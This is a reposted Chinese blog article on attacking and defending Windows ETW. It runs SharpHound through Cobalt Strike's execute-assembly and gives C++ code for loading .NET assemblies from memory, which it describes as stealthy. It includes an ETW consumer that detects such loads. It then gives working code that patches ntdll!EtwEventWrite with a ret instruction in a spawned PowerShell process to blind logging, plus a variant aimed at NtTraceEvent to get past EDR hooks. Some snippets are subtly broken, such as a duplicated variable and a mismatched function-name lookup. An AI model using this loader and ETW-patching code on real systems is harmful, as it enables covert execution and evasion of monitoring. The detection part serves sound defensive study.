ETW的攻与防

这篇具有很好参考价值的文章主要介绍了ETW的攻与防。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

ETW全称为Event Tracing for Windows,即windows事件跟踪,它是Windows提供的原生的事件跟踪日志系统。由于采用内核层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案,本文基于ETW探究其攻与防的实现

ETW

事件监测(Event Instrumentation)总会包含两个基本的实体,事件的提供者(ETW Provider)和消费者(ETW Consumer),ETW框架可以视为它们的中介。ETW Provider会预先注册到ETW框架上,提供者程序在某个时刻触发事件,并将标准化定义的事件提供给ETW框架。Consumer同样需要注册到ETW框架上,在注册的时候可以设置事件的删选条件和接收处理事件的回调。对于接收到的事件,如果它满足某个注册ETW Consumer的筛选条件,ETW会调用相应的回调来处理该事件

ETW`针对事件的处理是在某个会话(`ETW Session`)中进行的,`ETW Session`提供了一个接收、存储、处理和分发事件的执行上下文。`ETW`框架可以创建多一个会话来处理由提供者程序发送的事件,但是`ETW Session`并不会与某个单一的提供者绑定在一起,多个提供者程序可以向同一个`ETW Session`发送事件。对于接收到的事件,`ETW Session`可以将它保存在创建的日志文件中,也可以实时地分发给注册的消费者应用。`ETW`会话的开启和终止是通过 `Session`的开启和终止是通过ETW控制器(`ETW Controller`)进行管理的。除了管理`ETW Session`之外,`ETW Controller`还可以禁用或者恢复注册到某个`ETW Session`上的`ETW Provider

在这里,我们可以看到所有已注册的ETW提供者及其对应GUID,我们还可以看到Microsoft-Windows-Threat-Intelligence突出显示的提供者及其InstrumentationManifest位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>注册表项的二进制清单文件因为这是一个Manifest-based ETW提供者

logman.exe query providers

windows etw,microsoft,windows

image-20220512105644794.png

我们可以使用以下命令获取更多详细信息并了解提供程序支持的事件类型

logman.exe query providers Microsoft-Windows-Threat-Intelligence

windows etw,microsoft,windows

image-20220512124646901.png

windows etw,microsoft,windows

image-20220512110110750.png

也可以XML Manifest使用此工具检索文件,这使我们可以更详细地了解特定EtwTi事件记录的参数

windows etw,microsoft,windows

image-20220512110147258.png

使用x nt!EtwTi*来查看内核里面的所有例程

windows etw,microsoft,windows

image-20220512110528763.png

execute-assembly

cs在3.11版本实现了在非托管程序中加载.net程序集的功能,这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell脚本能够很容易的转换为C#代码,十分方便,使用到的就是execute-assembly这个命令,这里我们用c#程序sharphound.exe进行演示,这个程序用来导出域内关系并可视化

execute-assembly D:\Bloodhound\SharpHound.exe -c all

windows etw,microsoft,windows

image-20220513124718747.png

windows etw,microsoft,windows

image-20220513124807622.png

首先我们来了解一下托管程序和非托管程序,说到这里就需要提一个CLRCLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。CLR.NET Framework的主要执行引擎,作用之一是监视程序的运行:

  • • 在CLR监视之下运行的程序属于托管的代码

  • • 不在CLR之下,直接在裸机上运行的应用或者组件属于非托管的代码

托管程序与非托管程序的概念如下

托管代码就是Visual Basic .NET和C#编译器编译出来的代码。编译器把代码编译成中间语言(IL),而不是能直接在你的电脑上运行的机器码。中间语言被封装在一个叫程序集 (assembly)的文件中,程序集中包含了描述你所创建的类,方法和属性(例如安全需求)的所有元数据。

非托管代码就是在Visual Studio .NET 2002发布之前所创建的代码。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,连那些依然残存在你的硬盘中、拥有超过15年历史的陈旧C编译器所产生的代码都是非托管代码。托管代码直接编译成目标计算机的机械码,这些代 码只能运行在编译出它们的计算机上,或者是其它相同处理器或者几乎一样处理器的计算机上。

再就是Unmanaged API,它其实是一套能将.net程序集加载到任意程序里面的API,它支持ICorRuntimeHost InterfaceICLRRuntimeHost Interface两种接口,我们看一下msdn里面的描述

windows etw,microsoft,windows

image-20220512153622148.png

其中ICorRuntimeHost Interface支持的版本有v1.0.3705v1.1.4322v2.0.50727v4.0.30319ICLRRuntimeHost Interface支持的版本有v2.0.50727,v4.0.30319,在实际的开发里面两种接口都是可以使用的

cs实现在非托管程序中加载主要是调用了ICLRRuntimeHost的接口,主要用到以下3个接口

ICLRMetaHost

ICLRRuntimeInfo

ICLRRuntimeHost

ICLRMetaHost提供基于版本号返回特定版本的公共语言运行时 (CLR)、列出所有已安装的 CLR、列出在指定进程中加载的所有运行时、发现用于编译程序集的 CLR 版本、退出进程的方法干净的运行时关闭,并查询旧版 API 绑定

windows etw,microsoft,windows

image-20220512154845367.png

ICLRRuntimeInfo提供一些方法,这些方法可返回有关特定公共语言运行时 (CLR) 的信息,包括版本、目录和加载状态。此接口还提供了特定于运行时的功能,而无需初始化运行时。它包括运行时相对 LoadLibrary 方法、运行时模块特定的 GetProcAddress 方法和通过 GetInterface 方法提供的运行时提供的接口

windows etw,microsoft,windows

image-20220512154925602.png

ICLRRuntimeHost`提供与 .NET Framework 版本1中提供的 `ICorRuntimeHost`接口类似的功能,其中包含以下更改: 用于设置宿主控件接口的 `SetHostControl`方法的添加,省略提供的某些方法 `ICorRuntimeHost

windows etw,microsoft,windows

image-20220512155157965.png

硬盘加载

首先这里我们写一个Printf函数,使用Console.WriteLine接收

namespace etw1
{
    class Program
    {
        static int Main(String[] args)
        {
            return 1;
        }
        static int Printf(String strings)
        {
            Console.WriteLine(strings);
            return 1;
        }
    }
}

在服务端我们首先使用CLRCreateInstance初始化ICLRMetaHost接口

CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);

然后调用GetRuntime方法获取ICLRRuntimeInfo接口

iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);

再使用ICLRRuntimeInfo将 CLR加载到当前进程,返回运行时接口ICLRRuntimeHost指针

iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);

然后再通过ICLRRuntimeHost.EecuteInDefaultAppDomain执行指定程序

    iRuntimeHost->ExecuteInDefaultAppDomain
    (L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);

实现效果如下

windows etw,microsoft,windows

image-20220512182344215.png

内存加载

内存加载相对于硬盘加载,首先是整个过程都会在内存执行而不会写入文件,隐蔽性较好,而且最终的payload为c#程序,调用powershell十分方便利用

那么我们来进行代码的实现,首先还是初始化CLR环境

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
    iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
    iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
    iRuntimeHost->Start();

然后使用ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针

    iRuntimeHost->GetDefaultDomain(&pAppDomain);
    pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);

windows etw,microsoft,windows

image-20220512195501155.png

使用Load_3(…)从内存中读取并加载.NET程序集

    saBound[0].cElements = ASSEMBLY_LENGTH;
    saBound[0].lLbound = 0;
    SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);

    SafeArrayAccessData(pSafeArray, &pData);
    memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
    SafeArrayUnaccessData(pSafeArray);

    pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
    pAssembly->get_EntryPoint(&pMethodInfo);

创建安全数组并执行入口点

    ZeroMemory(&vRet, sizeof(VARIANT));
    ZeroMemory(&vObj, sizeof(VARIANT));
    vObj.vt = VT_NULL;

    vPsa.vt = (VT_ARRAY | VT_BSTR);
    args = SafeArrayCreateVector(VT_VARIANT, 0, 1);

    if (argc > 1)
    {
        vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
        for (long i = 0; i < argc; i++)
        {
            SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
        }

        long idx[1] = { 0 };
        SafeArrayPutElement(args, idx, &vPsa);
    }

    HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);

windows etw,microsoft,windows

image-20220512211127018.png

windows etw,microsoft,windows

image-20220512211108513.png

检测execute-assembly

一般检测execute-assembly都会使用windows事件跟踪,即ETW,例如这里启动一个powershell进程,通过procexp查看可以看到被CLR托管的dll

windows etw,microsoft,windows

image-20220512214614676.png

windows etw,microsoft,windows

image-20220513125227900.png

我们可以从processhacker工具源码里面的asmpage.c(https://github.com/processhacker/processhacker/blob/master/plugins/DotNetTools/asmpage.c)源码里面查看这类工具是怎样枚举`.net`工具集的,这里挑出关键代码编译成`etw2.exe`

static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };

const char name[] = "dotnet trace\0";

#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
    ULONG64 AssemblyID;
    ULONG64 AppDomainID;
    ULONG64 BindingID;
    ULONG AssemblyFlags;
    WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, * PAssemblyLoadUnloadRundown_V1;
#pragma pack()

static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {

    PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
    PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
    AssemblyLoadUnloadRundown_V1* assemblyUserData;

    switch (eventDescriptor->Id) {
    case AssemblyDCStart_V1:
        assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
        wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
        break;
    }
}

int main(void)
{
    TRACEHANDLE hTrace = 0;
    ULONG result, bufferSize;
    EVENT_TRACE_LOGFILEA trace;
    EVENT_TRACE_PROPERTIES* traceProp;

    printf(".net_ETW_finder\n\n");

    memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
    trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
    trace.LoggerName = (LPSTR)name;
    trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;

    bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);

    traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
    traceProp->Wnode.BufferSize = bufferSize;
    traceProp->Wnode.ClientContext = 2;
    traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
    traceProp->LogFileNameOffset = 0;
    traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

    if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
        printf("[!] Error starting trace: %d\n", result);
        return 1;
    }

    if ((result = EnableTraceEx(
        &ClrRuntimeProviderGuid,
        NULL,
        hTrace,
        1,
        TRACE_LEVEL_VERBOSE,
        0x8, // LoaderKeyword
        0,
        0,
        NULL
    )) != ERROR_SUCCESS) {
        printf("[!] Error EnableTraceEx\n");
        return 2;
    }

    hTrace = OpenTrace(&trace);
    if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
        printf("[!] Error OpenTrace\n");
        return 3;
    }

    result = ProcessTrace(&hTrace, 1, NULL, NULL);
    if (result != ERROR_SUCCESS) {
        printf("[!] Error ProcessTrace\n");
        return 4;
    }

    return 0;
}

首先cs上线

windows etw,microsoft,windows

image-20220512212858818.png

然后启动我们的监控程序

windows etw,microsoft,windows

image-20220512215550869.png

在beacon里面调用SharpHound.exe,这里需要在域内且具有.net环境才能够运行成功,执行以下命令

execute-assembly D:\Bloodhound\SharpHound.exe 1.2.3.4

windows etw,microsoft,windows

image-20220512215639441.png

这里就会在exe存放的位置生成以下三个文件

windows etw,microsoft,windows

image-20220512220715962.png

然后我们去看一下我们的监控程序,可以看到已经识别出了SharpHound的调用

windows etw,microsoft,windows

image-20220512215704961.png

这里如果想要规避检测,可以更改程序名的名字,但是这里只要修改检测方法为显示可疑方法的名称即可

switch (eventDescriptor->Id) {
  case MethodLoadVerbose_V1:
    methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
    WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
    WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
    WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
    wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);
}

这里通过select-string查找SharpHound方法

windows etw,microsoft,windows

image-20220512213010406.png

这里还是启动一下我们的SharpHound程序

windows etw,microsoft,windows

image-20220512213027871.png

windows etw,microsoft,windows

image-20220512213036239.png

可以看到还是被监控到了Sharphound2.Sharphound方法

windows etw,microsoft,windows

image-20220512213114820.png

规避ETW检测

通过查阅资料后发现ETW将 TRUE布尔参数传递到nt!EtwpStopTrace函数中,以查找 ETW特定结构并动态修改或修补ntdll!ETWEventWriteadvapi32!EventWrite立即返回从而停止用户模式记录器

也就是说在3环ETW是通过ntdll.dllEtwEventWriteFull函数实现的

windows etw,microsoft,windows

image-20220512222805809.png

往下跟发现调用了EtwEventWriteFull,然后EtwEventWriteFull调用EtwpEventWriteFull

windows etw,microsoft,windows

image-20220512223054442.png

我们继续往下看EtwEventWriteFull函数,调用了NtTraceEvent

windows etw,microsoft,windows

image-20220512223238120.png

继续跟NtTraceEvent,可以发现NtTraceEvent通过syscall进入内核

windows etw,microsoft,windows

image-20220512223402930.png

这里我们可以打印一下地址

windows etw,microsoft,windows

image-20220513122021737.png

那么我们在EtwEventWriteFull直接使用0xc3ret返回,即可达到绕过的效果,首先我们通过x64dbg和powershell验证一下

首先使用x64dbg创建一个powershell进程,这时x64dbg会在线程初始化前下一个断点

定位到ntdll!EtwEventWrite

windows etw,microsoft,windows

image-20220512223941657.png

windows etw,microsoft,windows

image-20220512223957730.png

一般windows api默认使用stdcall(x86)调用约定,这里x64默认使用fastcall,即寄存器传参,被调用者清理堆栈,所以我们直接使用retC3返回即可

windows etw,microsoft,windows

image-20220512224033566.png

查看CLR日志已经被清空

windows etw,microsoft,windows

image-20220512224950161.png

这里通过代码实现,定位到ntdll!EtwEventWrite函数,然后在入口处ret返回即可,使用VirtualProtectEx修改属性

void bypassetw()
{
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);

    CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    unsigned char pEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWrite);

    DWORD oldProtect;
    char patch = 0xc3;

    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
    ResumeThread(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hNtdll);
    return 0;

}

实现效果如下,可以看到起了一个powershell进程,查看CLR日志也被清空

windows etw,microsoft,windows

image-20220513104316834.png

这里可能某些EDR会hookEtwEventWrite这个函数,那么我们直接往syscall进0环的函数去挂钩,代码如下

unsigned char sNtTraceEvent[] = { 'N','t','T','r','a','c','e','E','v','e','n','t', 0};
LPVOID pNtTraceEvent = GetProcAddress(hNtdll, (LPCSTR)sEtwEventWrite);

可以看到CLR日志也被清空

windows etw,microsoft,windows文章来源地址https://www.toymoban.com/news/detail-542534.html

到了这里,关于ETW的攻与防的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • JS—节流与防抖

    一、js防抖和节流 在进行窗口的resize、scroll、输出框内容校验等操纵的时候,如果事件处理函数调用的频率无限制,会加重浏览器的负担,导致用户体验非常之差。那么为了前端性能的优化也为了用户更好的体验,就可以采用防抖(debounce)和节流(throttle)的方式来到达这种

    2023年04月08日
    浏览(39)
  • 浅谈溯源反制与防溯源

    本文不涉及实际溯源、防溯源的详细操作过程,仅有基础方向引导,本文篇幅过长,请在家长的陪同下观看,谢谢大家 前言: 最近有个好兄弟问我,获取攻击者的人物画像需要多长时间,我的回答是,无异于天方夜谭。 那么什么是攻击者画像,​溯源反制有哪些条件,有哪

    2024年02月07日
    浏览(27)
  • uni-app 实现节流与防抖

    提示:这次要讲的前端关于节流和防抖 防抖是指在频繁触发某一个事件时,一段时间内或者一定条件下不再触发该事件对应调用的函数。 代码如下(示例): 对按钮点击触发函数的防抖控制 : 按钮事件执行未完成时不多次重复执行对应按钮的业务逻辑。 在事件持续触发的

    2024年02月11日
    浏览(38)
  • Web自动化 —— Selenium元素定位与防踩坑

    2. 基本元素定位二 3. CSS选择器定位法一 4. CSS选择器定位法二 浏览器完整的打开-关闭调用流程 5. xpath定位法 1、相对路径定位 //标签名[@属性名=\\\"属性值\\\"] 2、定位某个元素的父级元素 元素xpath/parent::\\\"父级元素标签名\\\" //*[@id=\\\"list\\\"]/dl/a/parent::dl 3、定位一组元素的第几个 xpath[数字

    2024年02月09日
    浏览(43)
  • Windows 10上不使用MicroSoft Store下载安装MicroSoft Todo

    一般我们下载微软的应用时,需要从 Microsoft Store 中下载 但是由于Windows系统问题,导致我们无法从MicroSoft Store中下载软件;或者由于个人原因,不想从MicroSoft Store中下载。 另一种下载MicroSoft中软件的方式是:使用Add-AppxPackage,在命令行下安装应用。 首先,我们需要从 Micro

    2024年02月04日
    浏览(42)
  • Windows关闭Microsoft Defender服务

    Microsoft Defender默认处于开启状态,虽然可以提供一定的病毒防护,但是它在运行时会占用很多的内存,而且大多数杀毒软件都可以替代它的功能,下面说一下关闭Microsoft Defender的方法。 温馨提醒:虽然方法一只能暂时关闭,但后面两种方法都是建立在方法一上的, 建议先按

    2024年02月11日
    浏览(49)
  • 【Windows】Windows10 无法登录 Microsoft 账户的解决方案

    本文记录 Windows10 无法登录 Microsoft 账户的解决方案. 在新安装的 Win10 上登录 Microsoft 账户,等待很长一段时间后,显示“发生了错误”. 进入 控制面板 = Internet 选项 ,点击 高级 选项卡,勾选下图红色方框中的选项,然后重启即可.           重新启动后进入系统,就可以登

    2024年02月11日
    浏览(67)
  • Microsoft Windows Server 产品生命周期

    固定生命周期策略适用于目前通过零售购买和/或批量许可获得的许多商业产品和一些消费产品。 可提供: 产品发布时已定义的支持和服务生命周期时间表。 最少五年的主流支持 对于某些产品,还有一段扩展支持期。 支持类型 主流支持 扩展支持 超出支持终止日期 更改产品

    2024年01月18日
    浏览(51)
  • 彻底卸载Microsoft SQL Server(Windows)

    SQL的删除有些麻烦,耐心些一步步做,不会错   1.打开控制面板,删除以下 a . b .Microsoft SQL 2019(64x)    选择实例(全部选择然后下一步)    选择功能(全部选择然后下一步)    点击删除 c . d . e. f.  2.找到此电脑删除SQL文件夹 3.win+r (输入单词→ regedit)打开注册表编

    2024年02月05日
    浏览(53)
  • 【Windows 10 / 11】彻底卸载Microsoft Edge

    彻底卸载Microsoft Edge的方法 打开C盘,定位到Edge安装目录,一般是 “C:Program Files (x86)MicrosoftEdgeApplication” 进入对应当前Edge版本号的文件夹,并进入 “Installer” 文件夹内找到 “setup.exe ” 按下 “shift” 键并点击鼠标右键,打开 PowerShell 窗口 在PowerShell窗口中输入命令 “

    2024年02月02日
    浏览(88)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包